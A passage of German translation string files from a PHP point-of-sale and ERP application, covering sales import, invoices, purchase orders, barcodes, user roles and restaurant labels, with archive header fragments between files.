'Verkäufe erfolgreich importiert', 'upload_data_in_excel_format' => 'Verkaufsdaten im Excel-Format hochladen', 'map_columns_with_respective_sales_fields' => 'Wählen Sie für jede Spalte die entsprechenden Verkaufsfelder aus', 'choose_location_and_group_by' => 'Wählen Sie den Unternehmensstandort und die Spalte, nach der die Verkaufslinien gruppiert werden sollen', 'date_format_instruction' => 'Verkaufsdatum Zeitformat sollte Y-m-d H:i:s (2020-07-15 17:45:32) sein', 'product_name_single_only' => 'Produktname (nur Einzel- oder Kombinationsprodukte)', 'product_sku' => 'Produkt-SKU', 'product_unit' => 'Produkteinheit', 'import_sale_unit_not_found' => 'Einheit mit Name :unit_name nicht in Zeile :row gefunden', 'types_of_servicet_not_found' => 'Diensttypen mit dem Namen :types_of_service_name nicht in Zeile :row gefunden', 'email_or_phone_cannot_be_empty_in_row' => 'In Zeile :row ist entweder ein Telefon oder eine E-Mail des Kunden erforderlich', 'product_cannot_be_empty_in_row' => 'In Zeile :row ist entweder der Produktname oder die Produkt-SKU erforderlich', 'quantity_cannot_be_empty_in_row' => 'Produktmenge wird in Zeile :row benötigt', 'unit_price_cannot_be_empty_in_row' => 'Stückpreis wird in Zeile :row benötigt', 'imports' => 'Importe', 'invoices' => 'Rechnungen', 'import_batch' => 'Stapel importieren', 'import_time' => 'Importzeit', 'cannot_select_a_field_twice' => 'Sie können ein Feld nicht zweimal auswählen', 'revert_import' => 'Import zurücksetzen', 'import_reverted_successfully' => 'Import erfolgreich zurückgesetzt', 'importable_fields' => 'Importierbare Felder', 'sort_order' => 'Sortierreihenfolge', 'total_returned' => 'Total zurückgegeben', 'skip' => 'ÜBERSPRINGEN', 'group_by_tooltip' => 'Spalte zum Gruppieren von Verkaufszeilen in derselben Rechnung', 'allowed_file' => 'Zulässige Datei', 'detailed_with_purchase' => 'Detailliert (beim Kauf)', 'supplier_name' => 'Name des Anbieters', 'purchase_ref_no' => 'Kaufreferenz Nr.', 'save_and_print' => 'Speichern und drucken', 'update_and_print' => 'Aktualisieren und drucken', 'all_your_discounts' => 'Alle Ihre Rabatte', 'priority' => 'Priorität', 'starts_at' => 'Startet um', 'ends_at' => 'Endet am', 'used_for_browser_based_printing' => 'Wird für das browserbasierte Drucken verwendet', 'hsn_or_category_code' => 'HSN oder Kategoriecode', 'discounts' => 'Rabatte', 'allow_overselling' => 'Überverkauf zulassen', 'view_own_purchase' => 'Nur Eigenkauf anzeigen', 'view_own_expense' => 'Nur eigene Ausgaben anzeigen', 'allow_login' => 'Login erlauben', 'login_not_allowed' => 'Login nicht erlaubt', 'labels_for_contact_custom_fields' => 'Beschriftungen für benutzerdefinierte Kontaktfelder', 'labels_for_product_custom_fields' => 'Etiketten für benutzerdefinierte Produktfelder', 'labels_for_purchase_custom_fields' => 'Label für Kaufkundenfelder', 'labels_for_sell_custom_fields' => 'Labels für den Verkauf von benutzerdefinierten Feldern', 'labels_for_location_custom_fields' => 'Beschriftungen für benutzerdefinierte Standortfelder', 'labels_for_types_of_service_custom_fields' => 'Beschriftungen für Arten von benutzerdefinierten Servicefeldern', 'labels_for_user_custom_fields' => 'Beschriftungen für benutzerdefinierte Benutzerfelder', 'total_transfer_shipping_charge' => 'Gesamttransfer Versandkosten', 'total_purchase_shipping_charge' => 'Gesamtkaufkosten', 'total_sell_shipping_charge' => 'Total Sell Versandkosten', 'opening_stock_location' => 'Eröffnungslagerort', 'product_locations_ins' => 'Durch Kommas getrennte Zeichenfolge von Geschäftsstandortnamen, unter denen das Produkt verfügbar sein wird', 'product_locations' => 'Produktstandorte', 'view_products' => 'Produkte anzeigen', 'pos_screen_featured_products' => 'POS-Bildschirm Empfohlene Produkte', 'featured_products_help' => 'Ausgewählte Produkte werden oben auf dem Produktvorschlag für den Positionsbildschirm angezeigt, um einen schnellen Zugriff zu ermöglichen', 'purchase_report' => 'Kaufbericht', 'sale_report' => 'Verkaufsbericht', 'payment_date' => 'Zahlungsdatum', 'year_month' => 'Jahr Monat', 'lead' => 'Führen', 'featured_products' => 'Ausgewählte Produkte', 'repeat_on' => 'Wiederholen am', 'access_tables' => 'Zugriffstabellen', 'access_printers' => 'Zugriff auf Drucker', 'access_types_of_service' => 'Zugriff auf Dienstarten', 'search_address' => 'Adresse suchen', 'contact_locations' => 'Kontaktorte', 'map' => 'Karte', 'both_customer_and_supplier' => 'Sowohl Kunde als auch Lieferant', 'service' => 'Bedienung', 'either_cust_email_or_phone_required' => 'Entweder Kunden-E-Mail-ID oder Telefonnummer erforderlich', 'either_product_name_or_sku_required' => 'Entweder Produktname (nur für Single und Combo) oder Produkt-Sku erforderlich', 'show_invoice_scheme' => 'Rechnungsschema anzeigen', 'select_invoice_scheme' => 'Rechnungsschema auswählen', 'recurring_expense_help' => 'Wenn diese Option aktiviert ist, werden diese Ausgaben in regelmäßigen Abständen automatisch generiert.', 'recur_interval' => 'Wiederkehrendes Intervall', 'recur_expense_repetition_help' => 'Wenn leere Ausgaben unendlich oft generiert werden', 'recurring_expense_message' => 'Neue wiederkehrende Kosten generiert. Ref.-Nr.: <i>:ref_no </i>', 'recurring_expense' => 'Wiederkehrende Kosten', 'generated_recurring_expense' => 'Generierte wiederkehrende Kosten', 'select_contacts' => 'Kontakte auswählen', 'middle_name' => 'Zweiter Vorname', 'address_line_1' => 'Anschrift Zeile 1', 'address_line_2' => 'Adresszeile 2', 'dob' => 'Geburtsdatum', 'dob_ins' => 'Format Y-m-d', 'by_purchase_price' => 'Nach Kaufpreis', 'by_sale_price' => 'Nach Verkaufspreis', 'potential_profit' => 'Potenzieller Gewinn', 'apply_all' => 'Alle anwenden', 'hide_all_prices' => 'Alle Preise verstecken', 'select_invoice_layout' => 'Rechnungslayout auswählen', 'max_sales_discount_percent' => 'Max. Umsatzrabatt in Prozent', 'max_sales_discount_percent_help' => 'Maximaler Rabattprozentsatz, den ein Benutzer während des Verkaufs geben kann. Lassen Sie ihn ohne Einschränkungen leer', 'max_discount_error_msg' => 'Sie können max :discount% Rabatt pro Verkauf geben', 'show_invoice_layout' => 'Dropdown-Liste Rechnungslayout anzeigen ', 'recurred_from' => 'Wiederholt von', 'recur_details' => 'Wiederkehrende Details', 'recurring' => 'Wiederkehrend', 'view_product_stock_value' => 'Produktbestandswert anzeigen', 'added' => 'Hinzugefügt', 'disable_credit_sale_button' => 'Schaltfläche Kreditverkauf deaktivieren', 'pay' => 'Bezahlen', 'use_advance_balance' => 'Vorauszahlung verwenden', 'advance' => 'Vorauszahlung', 'advance_balance' => 'Vorauszahlung', 'advance_payment' => 'Vorauszahlung', 'required_advance_balance_not_available' => 'Erforderliche Vorauszahlung nicht verfügbar', 'in_transit' => 'In Transit', 'edit_stock_transfer' => 'Bearbeiten Umlagerung', 'completed_status_help' => 'Umlagerung nicht bearbeitet werden , wenn Status abgeschlossen ist', 'no_data' => 'keine Daten', 'sms_service' => 'SMS Service', 'nexmo_key' => 'Nexmo Key', 'nexmo_secret' => 'Nexmo Secret', 'twilio_token' => 'Twilio Zugriffstoken', 'twilio_sid' => 'Twilio Konto SID', 'upcoming' => 'Kommende', 'final' => 'Endgültige', 'expense_for_contact' => 'Kontaktkosten', 'create' => 'Erstellen', 'waiting' => 'Warten', 'sms_settings_header_key' => 'Header: Zifferntaste', 'sms_settings_header_val' => 'Header: Zahlenwert', 'stock_adjustment_details' => 'Bestandsanpassungsdetails', 'stock_transfer_details' => 'Umlagerungsdetails', 'invoice_layout_for_pos' => 'Rechnungslayout für POS', 'invoice_layout_for_sale' => 'Rechnungslayout zum Verkauf', 'invoice_layout_for_sale_tooltip' => 'Rechnungslayout für den Direktvertrieb', 'new_quotation' => 'Neues Angebot', 'new_quotation_notification' => 'Neue Angebotsbenachrichtigung', 'view_quote_url' => 'Zitat-URL anzeigen', 'close_cash_register' => 'Registrierkasse schließen', 'view_cash_register' => 'Registrierkasse anzeigen', 'for_tax_group_only' => 'Nur für Steuergruppen', 'for_tax_group_only_help' => 'Wenn diese Option aktiviert ist, wird diese Steuer in Dropdown-Listen nicht einzeln angezeigt, sondern kann nur in der Steuergruppe hinzugefügt werden.', 'exempt' => 'Befreit', 'tax_exempt_help' => 'Der Steuersatz von null Prozent gilt als steuerfrei', 'show_total_in_words' => 'Summe in Worten anzeigen', 'show_in_word_help' => 'PHP-Intl-Erweiterung muss aktiviert sein', 'print_on_suspend' => 'Rechnung bei Suspendierung drucken', 'view_all_customer' => 'Alle Kunden anzeigen', 'view_own_customer' => 'Eigenen Kunden anzeigen', 'view_all_supplier' => 'Alle Lieferanten anzeigen', 'view_own_supplier' => 'Eigenen Lieferanten anzeigen', 'label_help' => 'Barcode / Etikett drucken', 'connection_type_windows' => 'Verbindungstyp Windows', 'connection_type_linux' => 'Verbindungstyp Linux', 'windows_type_help' => 'Die Gerätedateien werden in Anlehnung an', 'linux_type_help' => 'Ihre Druckergerätedatei befindet sich irgendwo wie', 'due_date' => 'Geburtstermin', 'quotation_no' => 'Angebotsnummer', 'browser_based_printing' => 'Browser-basiertes Drucken', 'configured_printer' => 'Konfigurierten Belegdrucker verwenden', 'for_normal_printer' => 'Für normalen Drucker', 'recomended_for_80mm' => 'Empfohlen für Thermo-Belegempfangsdrucker, 80 mm Papiergröße', 'recomended_for_58mm' => 'Empfohlen für Thermo-Belegempfangsdrucker, Papierformat 80 mm und 58 mm', 'classic' => 'Klassisch', 'elegant' => 'Elegant', 'slim' => 'Schlank', 'detailed' => 'Detailliert', 'columnize_taxes' => 'Steuern kolumnisieren', 'types_of_service_help_long' => 'Servicetyp bedeutet Services wie Dine-In, Paket, Hauszustellung, Zustellung durch Dritte usw. Sie kann über <code> Einstellungen> Module </code> aktiviert / deaktiviert und über <code> Einstellungen> Servicetypen erstellt werden </code>. Sie können auch unterschiedliche Preisgruppen und Verpackungsgebühren für Servicetypen definieren.', 'access_sell_return' => 'Der Zugang sell return', 'system_notification' => 'Systembenachrichtigung', 'time_range' => 'Zeitspanne', 'enable_php_intl_extension' => 'Aktivieren Sie die PHP-Intl-Erweiterung in den PHP INI-Einstellungen', 'profit_note' => '<b> Hinweis: </b> Der Gewinn nach Produkten / Kategorien / Marken berücksichtigt nur den Inline-Rabatt. Der Rechnungsrabatt wird nicht berücksichtigt.', 'upcoming_bookings' => 'Bevorstehende Buchungen', 'is_refund' => 'Ist Rückerstattung', 'is_refund_help' => 'Wenn geprüfte Ausgaben erstattet werden und zum Nettogewinn addiert werden', 'refund' => 'Rückerstattung', 'activate' => 'Aktivieren Sie', 'deactivate' => 'Deaktivieren', 'add_quotation' => 'Zitat hinzufügen', 'product_stock_history' => 'Produktbestandshistorie', 'quantities_in' => 'Mengen in', 'quantities_out' => 'Mengen raus', 'in' => 'Im', 'out' => 'Aus', 'totals' => 'Summen', 'quantity_change' => 'Mengenänderung', 'new_quantity' => 'Neue Menge', 'no_stock_history_found' => 'Keine Bestandshistorie gefunden', 'add_draft' => 'Entwurf hinzufügen', 'labels_for_sale_shipping_custom_fields' => 'Etiketten zum Verkauf Versand benutzerdefinierte Felder', 'is_required' => 'Ist nötig', 'convert_to_invoice' => 'In Rechnung umrechnen', 'converted_to_invoice_successfully' => 'In Rechnung konvertiert :invoice_no erfolgreich', 'proforma' => 'Proforma', 'proforma_invoice' => 'Proforma-Rechnung', 'convert_to_proforma' => 'In Proforma-Rechnung konvertieren', 'converted_to_proforma_successfully' => 'In Proforma-Rechnung umgewandelt', 'billing_address' => 'Rechnungsadresse', 'delete_sell' => 'Verkauf löschen', 'product_brochure' => 'Produktbroschüre', 'whatsapp_text' => 'WhatsApp Text', 'auto_send_wa_notif' => 'Automatische WhatsApp-Benachrichtigung senden', 'send_whatsapp' => 'WhatsApp-Benachrichtigung senden', 'send_sms' => 'SMS senden', 'send_email' => 'E-Mail senden', 'shipping_documents' => 'Versanddokumente', 'no_attachment_found' => 'Kein Anhang gefunden', 'attachments' => 'Anhänge', 'print_invoice' => 'Rechnung drucken', 'word_format' => 'Word Format', 'international' => 'International', 'indian' => 'Indisch', 'word_format_help' => 'Im internationalen Format sind große Zahlen in Millionen, Milliarden und Billionen vertreten, während sie im indischen Format in Lakhs und Crores vertreten sind', 'shipping_edited' => 'Versand bearbeitet', 'payment_edited' => 'Zahlung bearbeitet', 'notification_sent' => 'Benachrichtigung gesendet', 'imported' => 'Importiert', 'logout' => 'Ausloggen', 'backup_clean_command_instruction' => 'Um alte Backups zu bereinigen, müssen Sie mit diesem Befehl einen Cron-Job einrichten:', 'converted' => 'Umgewandelt', 'view_commission_agent_sell' => 'Provisionsagent kann ihren eigenen Verkauf sehen', 'access_commission_agent_shipping' => 'Kommissionsvertreter kann auf ihre eigenen Sendungen zugreifen', 'access_own_shipping' => 'Zugriff auf eigene Sendungen', 'email_notification_sent' => 'E-Mail-Benachrichtigung gesendet', 'sms_notification_sent' => 'SMS-Benachrichtigung gesendet', 'packing_date' => 'Verpackungsdatum', 'print_exp_date' => 'Verfallsdatum drucken', 'print_packing_date' => 'Verpackungsdatum drucken', 'print_lot_number' => 'Chargennummer drucken', 'family_contact_number' => 'Familienkontaktnummer', 'custom_payment' => 'Benutzerdefinierte Zahlung :number', 'default_credit_limit' => 'Standardkreditlimit', 'price_calculation_type' => 'Preisberechnungsart', 'show_pricing_on_product_sugesstion' => 'Preis auf Produktvorschlag-Tooltip anzeigen', 'all_purchase_orders' => 'Alle Bestellungen', 'add_purchase_order' => 'Bestellung hinzufügen', 'edit_purchase_order' => 'Bestellung bearbeiten', 'purchase_order_details' => 'Bestelldetails', 'enable_purchase_order' => 'Bestellung aktivieren', 'purchase_order_help_text' => 'Eine Bestellung ist ein Handelsdokument und ein erstes offizielles Angebot eines Käufers an einen Verkäufer, in dem Typen, Mengen und vereinbarte Preise für Produkte oder Dienstleistungen angegeben sind. Sie dient zur Kontrolle des Kaufs von Produkten und Dienstleistungen von externen Lieferanten. Bestellungen können ein wesentlicher Bestandteil der Bestellungen von Enterprise Resource Planning-Systemen sein. ', 'view_all_purchase_order' => 'Alle Bestellungen anzeigen', 'view_own_purchase_order' => 'Eigene Bestellung anzeigen', 'create_purchase_order' => 'Bestellung erstellen', 'delete_purchase_order' => 'Bestellung löschen', 'purchase_order_delete_success' => 'Bestellung erfolgreich gelöscht', 'order_quantity' => 'Bestellmenge', 'order_date' => 'Auftragsdatum', 'max_quantity_quantity_allowed' => 'Max :quantity erlaubt', 'leave_empty_to_autogenerate' => 'Zum automatischen Generieren leer lassen', 'add_edit_invoice_number' => 'Bearbeitungsrechnungsnummer hinzufügen', 'keep_blank_to_autogenerate' => 'Zum automatischen Generieren leer lassen', 'download_pdf' => 'PDF Herunterladen', 'attach_pdf_in_email' => 'Rechnungs-PDF per E-Mail anhängen', 'send_sms_whatsapp_notification' => 'SMS / WhatsApp-Benachrichtigung senden', 'enable_sales_order' => 'Kundenauftrag aktivieren', 'sales_order' => 'Kundenauftrag', 'sales_order_help_text' => 'Der Kundenauftrag, manchmal als SO abgekürzt, ist ein Auftrag, den ein Unternehmen oder Einzelunternehmer an einen Kunden erteilt. Ein Kundenauftrag kann sich auf Produkte und / oder Dienstleistungen beziehen.', 'add_sales_order' => 'Kundenauftrag hinzufügen', 'edit_sales_order' => 'Kundenauftrag bearbeiten', 'shipping_note' => 'Lieferschein', 'code_1_name' => 'Code 1 Name', 'code_2_name' => 'Code 2 Name', 'code_1' => 'Code 1', 'code_2' => 'Code 2', 'download_paking_pdf' => 'Download packing pdf', 'subject_type' => 'Betreff Typ', 'activity_log' => 'Aktivitätsprotokoll', 'sell_deleted' => 'Verkauf gelöscht', 'so_deleted' => 'Kundenauftrag gelöscht', 'po_deleted' => 'Bestellung gelöscht', 'purchase_deleted' => 'Kauf gelöscht', 'contact_deleted' => 'Kontakt gelöscht', 'payment_deleted' => 'Zahlung gelöscht', 'quantity_remaining' => 'Verbleibende Menge', 'view_sale' => 'View Sell', 'update_sale' => 'Update Sell', 'add_sell' => 'Add Sell', 'account_details' => 'Kontodetails', 'label' => 'Etikette', 'prefer_payment_method' => 'Zahlungsmethode bevorzugen', 'prefer_payment_account' => 'Zahlungskonto bevorzugen', 'this_will_be_shown_in_pdf' => 'Bevorzugte Methode / Konto, auf der der Kunde die Rechnung bezahlen kann. (Nützlich für Kreditrechnungen)', 'view_own_so' => 'Eigenen Kundenauftrag anzeigen', 'view_all_so' => 'Alle Kundenaufträge anzeigen', 'create_so' => 'Kundenauftrag anlegen', 'edit_so' => 'Kundenauftrag bearbeiten', 'delete_so' => 'Kundenauftrag löschen', 'types_of_service_custom_field_help' => 'Beim Hinzufügen von Verkauf werden sechs benutzerdefinierte Felder verfügbar sein', 'delete_expense' => 'Kosten löschen', 'access_all_expense' => 'Zugriff auf alle Ausgaben', 'designation' => 'Bezeichnung', 'department' => 'Abteilung', 'is_default_for_contact' => 'Ist Standard für Kontakt', 'individual' => 'Individuell', 'is_export' => 'Ist Export?', 'export' => 'Export', 'export_custom_field1' => 'Benutzerdefiniertes Feld 1 exportieren', 'export_custom_field2' => 'Benutzerdefiniertes Feld 2 exportieren', 'export_custom_field3' => 'Benutzerdefiniertes Feld 3 exportieren', 'export_custom_field4' => 'Benutzerdefiniertes Feld 4 exportieren', 'export_custom_field5' => 'Benutzerdefiniertes Feld 5 exportieren', 'export_custom_field6' => 'Benutzerdefiniertes Feld 6 exportieren', 'enable_export' => 'Export aktivieren', 'edit_status' => 'Status bearbeiten', 'status_updated' => 'Status aktualisiert', 'item_discount_label' => 'Artikelrabattetikett', 'sales_orders' => 'Kundenaufträge', 'cash_denominations' => 'Bargeldbezeichnungen', 'cash_denominations_help' => 'Kommagetrennte Werte Beispiel: 100.200.500.2000', 'denomination' => 'Konfession', 'count' => 'Anzahl', 'denomination_add_help_text' => 'Nennwerte in Einstellungen -> Geschäftseinstellungen -> POS -> Barwert hinzufügen', 'order_dates' => 'Bestelldaten', 'by_category' => 'Nach Kategorie', 'by_brand' => 'Nach Marke', 'no_brand' => 'Keine Marke', 'woocommerce_sync' => 'WooCommerce-Synchronisierung', 'enable' => 'Aktivieren', 'disable' => 'Deaktivieren', 'cmmsn_calculation_type' => 'Provisionsberechnungsart', 'invoice_value' => 'Rechnungswert', 'total_payment_with_commsn' => 'Gesamtzahlung mit Provision', 'payments_with_cmmsn' => 'Zahlungen mit Provision', 'view_all_drafts' => 'Alle Entwürfe anzeigen', 'view_own_drafts' => 'Eigene Entwürfe ansehen', 'edit_draft' => 'Entwurf bearbeiten', 'delete_draft' => 'Entwurf löschen', 'view_all_quotations' => 'Alle Angebote anzeigen', 'view_own_quotations' => 'Eigene Angebote ansehen', 'edit_quotation' => 'Angebot bearbeiten', 'delete_quotation' => 'Angebot löschen', 'primary_work_location' => 'Hauptarbeitsplatz', 'labels_for_purchase_shipping_custom_fields' => 'Etiketten für benutzerdefinierte Felder für den Kaufversand', 'view_own_purchase_n_stock_adjustment' => 'Eigene Käufe und Bestandsanpassung anzeigen', 'view_all_purchase_n_stock_adjustment' => 'Alle Käufe und Bestandsanpassungen anzeigen', 'access_all_shipments' => 'Auf alle Sendungen zugreifen', 'view_all_sale' => 'Alle verkaufen anzeigen', 'total_quantity' => 'Gesamtmenge', 'pending_shipments' => 'Ausstehende Sendungen', 'view_paid_sells_only' => 'Nur bezahlte Verkäufe anzeigen', 'view_due_sells_only' => 'Nur fällige Verkäufe anzeigen', 'view_partially_paid_sells_only' => 'Nur teilweise bezahlte Verkäufe anzeigen', 'view_overdue_sells_only' => 'Nur überfällige Verkäufe anzeigen', 'customer_with_no_sell_one_month' => 'Kunden ohne Verkauf nur ab einem Monat anzeigen', 'customer_with_no_sell_three_month' => 'Kunden ohne Verkauf erst ab drei Monaten anzeigen', 'customer_with_no_sell_six_month' => 'Kunden ohne Verkauf erst ab sechs Monaten anzeigen', 'customer_with_no_sell_one_year' => 'Kunden ohne Verkauf nur ab einem Jahr anzeigen', 'customer_permissions_tooltip' => 'Um alle Kunden ohne Verkauf zu einem bestimmten Zeitpunkt anzuzeigen, ist die Berechtigung <b>Alle Kunden anzeigen</b> erforderlich, andernfalls wird nur nach Kunden gefiltert, die vom angemeldeten Benutzer erstellt wurden', 'sell_permissions_tooltip' => 'Um Verkäufe auf der Grundlage des Zahlungsstatus anzuzeigen, ist die Berechtigung <b>Alle Verkäufe anzeigen</b> erforderlich, andernfalls wird nur nach Verkäufen gefiltert, die vom angemeldeten Benutzer erstellt wurden', 'access_pending_shipments_only' => 'Nur ausstehende Sendungen aufrufen', 'access_all_sell_return' => 'Zugriff auf alle Verkaufswiederholungen', 'access_own_sell_return' => 'Zugriff auf eigenen Verkaufsrücklauf', 'proforma_heading' => 'Proforma-Rechnungstitel', 'tooltip_proforma_heading' => 'Die Überschrift der Proforma-Rechnung wird verwendet, wenn Kunden Proforma bereitgestellt wird.', 'line_taxes' => 'Liniensteuern', 'add_additional_expenses' => 'Zusätzliche Ausgaben hinzufügen', 'additional_expense_name' => 'Zusatzausgabenname', 'purchase_additional_expense' => 'Nebenkosten kaufen', 'qr_code' => 'QR-Code', 'show_qr_code' => 'QR-Code anzeigen', 'fields_to_be_shown' => 'Anzuzeigende Felder', 'business_location_address' => 'Adresse des Unternehmensstandorts', 'business_tax_1' => 'Gewerbesteuer 1', 'business_tax_2' => 'Gewerbesteuer 2', 'invoice_datetime' => 'Rechnungsdatum/Uhrzeit', 'total_amount_with_tax' => 'Gesamtbetrag mit Steuern', 'total_bank_transfer' => 'Gesamtüberweisung', 'total_advance_payment' => 'Gesamtvorauszahlung', 'commission_agent_label' => 'Beauftragter-Label', 'show_commission_agent' => 'Kommissionär anzeigen', 'cannot_change_role' => 'Kann die Rolle nicht ändern', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'Zahlungslink', 'enable_payment_link' => 'Zahlungslink aktivieren', 'payment_link_help_text' => 'Durch die Aktivierung können Benutzer Rechnungen über den Zahlungslink bezahlen', 'invoice_payment' => 'Rechnungszahlung', 'payment_for_invoice_no' => 'Zahlung für Rechnungsnummer', 'pending_shipments' => 'Ausstehende Sendungen', 'sources' => 'Quellen', 'stripe_secret_key' => 'Geheimschlüssel Streifen', 'stripe_public_key' => 'Stripe öffentlichen Schlüssel', 'edit_opening_balance' => 'Eröffnungssaldo bearbeiten', 'edit_fund_transfer' => 'Geldtransfer bearbeiten', 'edit_deposit' => 'Einzahlung bearbeiten', 'deposit_to' => 'Einzahlung an', 'transfer_from' => 'Übertragen von', 'edit_account_transaction' => 'Kontotransaktion bearbeiten', 'delete_account_transaction' => 'Kontotransaktion löschen', 'add_purchase_payment' => 'Kaufzahlung hinzufügen', 'edit_purchase_payment' => 'Kaufzahlung bearbeiten', 'delete_purchase_payment' => 'Kaufzahlung löschen', 'add_sell_payment' => 'Verkaufszahlung hinzufügen', 'edit_sell_payment' => 'Verkaufszahlung bearbeiten', 'delete_sell_payment' => 'Verkaufszahlung löschen', 'sales_order_heading' => 'Kundenauftragsüberschrift', 'account_balance' => 'Kontostand', 'total_balance' => 'Gesamtsaldo', 'account_balance_tooltip' => 'Gesamtsaldo des jeweiligen Kontos', 'total_balance_tooltip' => 'Gesamtsaldo aller Konten', 'sell_additional_expense' => 'Nebenkosten verkaufen', 'view_export_buttons' => 'Export in Schaltflächen (csv/excel/print/pdf) in Tabellen anzeigen', 'overall' => 'Gesamt', 'show_labels' => 'Etiketten anzeigen', 'zatca_qr' => 'ZATCA (Fatoora) QR-Code', 'zatca_qr_help' => 'Für Saudi-Arabien Land', 'customer_irrespective_of_sell' => 'Kunden unabhängig von ihrem Verkauf anzeigen', 'img_url_help_text' => 'Oder URL des Bildes', 'delivery_person' => 'Lieferperson', 'enable_service_staff_pin' => 'Servicepersonal-PIN aktivieren', 'staff_pin' => 'Mitarbeiter-PIN', 'tooltip_is_enable_service_staff_pin' => 'Wenn aktiviert, muss während des Verkaufs/POS, wenn dieser Benutzer als Servicepersonal ausgewählt ist, eine PIN eingegeben werden. Eine falsche PIN wird die Auswahl dieses Benutzers als Servicepersonal nicht zulassen.', 'kitchen_order' => 'Küchenbestellung', 'kitchen_order_tooltip' => 'Die Bestellung wird nur an die Küche gesendet, wenn diese Option aktiviert ist', 'disable_quotation' => 'Angebot deaktivieren', 'disable_card' => 'Karte deaktivieren', 'assigned_to' => 'Ditugaskan kepada', 'has_no_sell_from' => 'Tidak ada penjualan dari', 'delivery_note' => 'Lieferschein', 'above_mentioned_items_received_in_good_condition' => 'Die oben genannten Artikel wurden in gutem Zustand erhalten', 'received_by' => 'Empfangen von', 'enter_details_below_to_check_repair_status' => 'Geben Sie unten die Details ein, um den Reparaturstatus zu überprüfen', 'search_by' => 'Suchen nach' ]; PK G �Zcč� � de/barcode.phpnu �[��� <?php return [ 'barcodes' => 'Barcodes', 'barcode_settings' => 'Barcode-Einstellungen', 'manage_your_barcodes' => 'Verwalten Sie Ihre Barcode-Einstellungen', 'all_your_barcode' => 'Alle Ihre Barcode-Einstellungen', 'setting_name' => 'Aufkleber Blatteinstellung Name', 'setting_description' => 'Aufkleberblatt Einstellung Beschreibung', 'added_success' => 'Barcode-Einstellung erfolgreich hinzugefügt', 'updated_success' => 'Barcode-Einstellung erfolgreich aktualisiert', 'deleted_success' => 'Barcode-Einstellung erfolgreich gelöscht', 'add_new_setting' => 'Neue Einstellung hinzufügen', 'add_barcode_setting' => 'Barcode-Aufkleber-Einstellung hinzufügen', 'edit_barcode_setting' => 'Barcode-Aufklebereinstellung bearbeiten', 'in_in' => 'In Zoll', 'width' => 'Breite des Aufklebers', 'height' => 'Höhe des Aufklebers', 'top_margin' => 'Zusätzlicher oberer Rand', 'left_margin' => 'Zusätzlicher linker Rand', 'row_distance' => 'Abstand zwischen zwei Reihen', 'col_distance' => 'Abstand zwischen zwei Spalten', 'blank_stickers' => 'Leere Aufkleber', 'stickers_in_one_row' => 'Aufkleber in einer Reihe', 'delete_confirm' => "Diese Einstellung wird gelöscht \ n Bist du sicher?", 'set_as_default' => 'Als Standard einstellen', 'default' => 'Standard', 'default_set_success' => 'Standardeinstellung erfolgreich', 'stickers_in_one_sheet' => 'Anzahl der Aufkleber pro Blatt', 'is_continuous' => 'Kontinuierlicher Vorschub oder Rollen', 'products' => 'Produkte', 'no_of_labels' => 'Anzahl der Etiketten', 'info_in_labels' => 'Informationen, die in Labels angezeigt werden sollen', 'print_name' => 'Produktname', 'print_variations' => 'Produktvariation (empfohlen)', 'print_price' => 'Produktpreis', 'show_price' => 'Preis anzeigen', 'preview' => 'Vorschau', 'print_business_name' => 'Geschäftsname', 'barcode_setting' => 'Barcode-Einstellung', 'paper_width' => 'Papierbreite', 'paper_height' => 'Papierhöhe', 'print_labels' => 'Etiketten drucken', 'labels' => 'Etiketten', ]; PK G �Z�%e.� � de/user.phpnu �[��� <?php return [ 'edit_profile' => 'Profil bearbeiten', 'change_password' => 'Passwort ändern', 'current_password' => 'Aktuelles Passwort', 'new_password' => 'Neues Kennwort', 'confirm_new_password' => 'Bestätige neues Passwort', 'user_management' => 'Benutzerverwaltung', 'roles' => 'Rollen', 'users' => 'Benutzer', 'manage_roles' => 'Rollen verwalten', 'all_roles' => 'Alle Rollen', 'add_role' => 'Rolle hinzufügen', 'role_name' => 'Rollenname', 'permissions' => 'Berechtigungen', 'role_added' => 'Rolle erfolgreich hinzugefügt', 'role_already_exists' => 'Rolle mit demselben Namen existiert bereits', 'edit_role' => 'Rolle bearbeiten', 'role_updated' => 'Rolle erfolgreich aktualisiert', 'role_deleted' => 'Rolle erfolgreich gelöscht', 'manage_users' => 'Benutzer verwalten', 'all_users' => 'Alle Nutzer', 'name' => 'Name', 'role' => 'Rolle', 'add_user' => 'Benutzer hinzufügen', 'user_added' => 'Benutzer wurde erfolgreich hinzugefügt', 'role_is_default' => 'Sie können diese Rolle nicht ändern', 'edit_user' => 'Benutzer bearbeiten', 'leave_password_blank' => 'Lassen Sie das Passwortfeld leer, wenn Sie das Passwort nicht aktualisieren möchten', 'user_update_success' => 'Benutzer wurde erfolgreich aktualisiert', 'user_delete_success' => 'Benutzer wurde erfolgreich gelöscht', ]; PK G �Z6�M�� � de/restaurant.phpnu �[��� <?php return [ 'restaurant' => 'Restaurant', 'tables' => 'Tabellen', 'table' => 'Tabelle', 'manage_your_tables' => 'Restauranttische verwalten', 'all_your_tables' => 'Alle Restauranttische', 'description' => 'Beschreibung', 'add_table' => 'Tabelle hinzufügen', 'edit_table' => 'Tabelle bearbeiten', 'table_name' => 'Tabellenname', 'short_description' => 'Kurze Beschreibung', 'select_table' => 'Tabelle auswählen', 'show_table' => 'Tabelle anzeigen', 'table_label' => 'Tischbeschriftung', 'show_service_staff' => 'Servicepersonal anzeigen', 'service_staff_label' => 'Dienstpersonalbezeichnung', 'select_waiter' => 'Kellner auswählen', 'modifiers' => 'Modifikatoren', 'modifier_sets' => 'Modifikatorsätze', 'manage_your_modifiers' => 'Alle Restaurantmodifikatoren verwalten', 'all_your_modifiers' => 'Alle Modifikatoren', 'add_modifier' => 'Modifikator hinzufügen', 'modifier_set' => 'Modifikatorsatz', 'modifier' => 'Modifikatoren', 'edit_modifier' => 'Modifikator bearbeiten', 'manage_products' => 'Produkte verwalten', 'products' => 'Produkte', 'modifiers_for_product' => 'Modifikatoren für das Produkt', 'kitchen' => 'Küche', 'mark_as_cooked' => 'Als gekocht markieren', 'manage_your_kitchen' => 'Verwalten Sie Ihre Küche', 'all_orders' => 'Alle Bestellungen', 'order_no' => 'Best.-Nr.', 'order_statuses' => [ 'received' => 'Empfangen', 'cooked' => 'Gekocht', 'served' => 'Serviert', '' => 'Empfangen', ], 'order_successfully_marked_cooked' => 'Bestellung erfolgreich als fertig markiert', 'order_successfully_marked_served' => 'Auftrag erfolgreich als geliefert markiert', 'orders' => 'Aufträge', 'manage_your_orders' => 'Verwalten Sie Ihre 